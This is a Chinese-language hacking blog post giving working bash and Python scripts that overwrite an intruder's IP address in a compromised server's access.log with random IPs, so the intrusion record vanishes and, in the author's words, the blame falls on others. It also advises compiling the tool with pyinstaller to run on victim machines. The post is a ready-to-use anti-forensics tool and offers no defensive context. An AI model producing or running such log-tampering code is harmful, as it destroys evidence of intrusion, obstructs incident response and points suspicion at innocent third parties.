作者:Evi1oX
想到入侵到别人服务器..那么擦屁股的事情肯定要做的..即使你挂了代理之类的.
我们用的常见的思路
如果直接删除文件,那么管理员也会从别的地方下手.或者恢复文件之类的.
我有一个大胆的想法, 替换自己的 ip为随机 ip . 嫁祸给别人.水逆退散 先编写一个生成随机数的函数, 等会儿我们直接调用就行
function rand(){
min=$1
max=$(($2-$min+1))
num=$(date +%s%N)
echo $(($num%$max+$min))
}
再使用11-253的范围 ip 地址, rand1-rand4 每次生成都是随机数, 通过 echo 返回最终 ip
rnd1=$(rand 11 253)
rnd2=$(rand 11 253)
rnd3=$(rand 11 253)
rnd4=$(rand 11 253)
echo $rnd1.$rnd2.$rnd3.$rnd4
那么我们要考虑的就是如何生成多个 ip 供我们使用..我们编写一个函数 result, 每次调用就新生成 ip 即可
function result(){
rnd1=$(rand 11 253)
rnd2=$(rand 11 253)
rnd3=$(rand 11 253)
rnd4=$(rand 11 253)
echo $rnd1.$rnd2.$rnd3.$rnd4
}
最终.我们的生成随机 ip 就成功了.我们把 ip 通过 sed 插入到文件中.但是 sed 是不具备每次插入不一样的值得.我们调用 for 循环多次取 result 函数的值. 然后多次替换即可. 为了判断 for 循环次数 .我们通过 grep |wc 命令来决定执行次数.
完整代码如下:
#!/bin/bash
ip=$1
file='access.log'
ip=$(echo $ip|sed 's/\./\\./g')
function rand(){
min=$1
max=$(($2-$min+1))
num=$(date +%s%N)
echo $(($num%$max+$min))
}
function result(){
rnd1=$(rand 11 253)
rnd2=$(rand 11 253)
rnd3=$(rand 11 253)
rnd4=$(rand 11 253)
echo $rnd1.$rnd2.$rnd3.$rnd4
}
for i in `seq $(cat $file|grep $ip |wc -l)`;do sed -i "1,/$ip/{s/$ip/`result`/}" $file;done
执行结果如图:
本来有10.10.10.2的 ip 入侵记录
通过执行脚本后, 没有10.10.10.2的记录了
当然.我还是建议使用 python 完成这项工作..当日志超过10w 或者100w 级以上的数量 . bash 的执行速度就会显得极其鸡肋.
如需在目标机上使用.建议使用 pyinstaller 完成这项工作
import random
import sys
import os
def getip():
ip1 = random.randrange(11, 254)
ip2 = random.randrange(11, 254)
ip3 = random.randrange(11, 254)
ip4 = random.randrange(11, 254)
return("%s.%s.%s.%s" % (ip1, ip2, ip3, ip4))
def main():
if len(sys.argv) == 1:
print('\nip.exe filepath ip')
sys.exit()
try:
with open(sys.argv[1]) as f:
filecode = f.read()
except IOError as e:
print("\nMay not have %s\n" % sys.argv[1])
sys.exit()
ipnum = filecode.count(sys.argv[2])
if ipnum:
for i in range(ipnum):
newip = getip()
filecode = filecode.replace(sys.argv[2], newip, 1)
with open(sys.argv[1], 'w') as f:
f.write(filecode)
else:
print('No ip can be replaced')
if __name__ == "__main__":
main()